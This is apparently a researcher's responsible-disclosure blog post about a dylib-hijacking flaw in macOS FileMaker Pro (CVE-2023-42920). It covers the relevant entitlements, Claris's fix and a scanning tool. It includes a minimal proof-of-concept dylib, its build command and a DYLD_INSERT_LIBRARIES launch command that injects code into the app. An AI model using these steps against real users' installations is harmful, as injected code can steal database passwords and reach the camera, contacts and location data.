FileMaker, dylib hijacking

Introduction

The dylib hijacking vulnerability for macOS is well known and studied. But from a FileMaker developer’s point of view, I have not seen any analysis of this problem.

I will begin a little bit from afar.

Embedding into someone else’s app through modification, or running malicious code under the cover of the original app, has been one of the vectors of penetration on Apple devices.

But starting from macOS Lion (10.7), Apple added the need for developers to sign apps to confirm the authenticity of the app and protect it from modifications.

Apple Developers Documentation

This means that all macOS apps , including FileMaker was securely protected from introducing external changes.

But hackers found an original way to run unsigned code using dynamic libraries.

By the way, FileMaker on macOS has been using dynamic dylib libraries for many versions in a row. If you look into the contents of FileMaker Pro.app folder, you will see many files with the .dylib extension in the Framework subfolder

What is dylib

Programmers often refer to dynamic shared libraries using different names, such as dynamically linked shared libraries, dynamic libraries, DLLs, dylibs, or just shared libraries. In OS X, all these names refer to the same thing: a library of code dynamically loaded into a process at runtime.

Apple Developers Documentation

In other words, it is dynamic libraries that are loaded at runtime.

The DYLD_INSERT_LIBRARIES environment variable can be set to point to a malicious dynamic library which will be loaded into the target process at runtime.

Making a simple dylib

To reproduce the vulnerability, follow these steps:

create exploit.m file with any text editor with content:

#import <Foundation/Foundation.h>
__attribute__((constructor)) static void pwn(int argc, const char **argv) 
{
  NSLog(@"[+] Dylib injected");
}

Then build dylib with command (you may need Xcode installed to use gcc):

gcc -dynamiclib exploit.m -o exploit.dylib -framework Foundation -framework AppKit

Now start FileMaker Pro from Terminal with command (don’t forget to adjust path to exploit.dylib file):

open /Applications/FileMaker\ Pro.app --env DYLD_INSERT_LIBRARIES=/Users/xxxx/exploit.dylib

In console you should see “[+] Dylib injected” message.

This means that we were able to run the unsigned code on behalf of and under the cover of FileMaker Pro.

Thus all versions of FileMaker Pro up to and including 18.0.1 are affected by this implementation.

Hardened runtime

To defend against this global problem, Apple introduced hardened runtime technology in 2018.

The hardened runtime was introduced by Apple in macOS 10.14 (Mojave) Along with System Integrity Protection (SIP), it protects the runtime integrity of your application software by preventing certain classes of exploits, like code injection, dynamically linked library hijacking, and process memory space tampering.

– Apple Developers Documentation

If your application relies on a capability that the hardened runtime restricts, you need to add an entitlement to disable an individual protection. You should only add the entitlements that are absolutely necessary for your applications functionality.

In order to see all entitlements (permissions) for the investigated application, you need to execute the following command:

codesign -d --entitlements - "/Applications/FileMaker Pro.app"

For FileMaker Pro 18.0.3, the response we get is:

[Dict]
    [Key] com.apple.security.automation.apple-events
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.allow-jit
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.disable-library-validation 
    [Value]
        [Bool] true
    [Key] com.apple.security.device.audio-input
    [Value]
        [Bool] true
    [Key] com.apple.security.device.camera
    [Value]
        [Bool] true
    [Key] com.apple.security.personal-information.addressbook
    [Value]
        [Bool] true
    [Key] com.apple.security.personal-information.calendars
    [Value]
        [Bool] true
    [Key] com.apple.security.personal-information.location
    [Value]
        [Bool] true
    [Key] com.apple.security.personal-information.photos-library
    [Value]
        [Bool] true

There is no key in this list that allows dylib to run.

So the problem is solved ? Is everything okay? Not quite.

Injection still possible

If we look at all entitlemens for FileMaker Pro v.19.X and v.20.1.x, we see the same entitlements plus this one:

    [Key] com.apple.security.cs.allow-dyld-environment-variables
    [Value]
        [Bool] true

Apple documentation says:

“A Boolean value that indicates whether the app may be affected by dynamic linker environment variables, which you can use to inject code into your app’s process.”

That is, for some reason in versions 19 and 20 Claris returns the ability to run dylib. This shouldn’t be a problem, since the hardened runtime implies that only dylibs that are signed with the same certificate as the original application should run.

But pay attention to this entitlement key, too:

com.apple.security.cs.disable-library-validation

“A Boolean value that indicates whether the app loads arbitrary plug-ins or frameworks, without requiring code signing.”

Apparently this key is needed for FileMaker to be able to run third-party plugins.

So this key negates the need to verify dylib’s digital signature and the vulnerability reappears.

Problem solved

I reported the vulnerability to Claris and as of FileMaker Pro 20.2, the company fixed it by removing the entitlement: com.apple.security.cs.allow-dyld-environment-variables

Claris International has fixed a dylib hijacking vulnerability in the FileMaker Pro.app and Claris Pro.app versions on macOS. Exploiting this vulnerability enables an attacker to execute custom code on behalf of FileMaker Pro or Claris Pro, even without the user having proper access.This flaw may potentially lead to unauthorized access to sensitive user information or the execution of unauthorized actions within the application. To mitigate these vulnerabilities, Claris strongly recommends that you upgrade to the latest versions of FileMaker. This has been fixed in FileMaker Pro 20.2. This issue was assigned to CVE-2023-42920. We would like to thank Alexey Dubov for reporting it to us.

Claris website

Which versions are vulnerable

Typically, each FileMaker developer has several versions of the application installed, from oldest to newest.

In addition, many have used runtime in the past to generate custom FileMaker-based applications. How do you determine if you have vulnerable versions on your Mac ? Answering this question is not so easy, as the vulnerability kept appearing and disappearing from version to version.

So I made an open source utility that will scan all versions of FileMaker (or runtime applications) and display the vulnerable ones. Please nore, that it will scan Application folder only:

Github repository

More extended dylib hijacking demo

Below you can see a demonstration of how running an unsigned dylib module on behalf of FileMaker can capture the password entered when opening a database.

This is how you can access all the resources that FileMaker Pro has access to. This can be a microphone, video camera, address book, calendar, geolocation, etc.

Timeline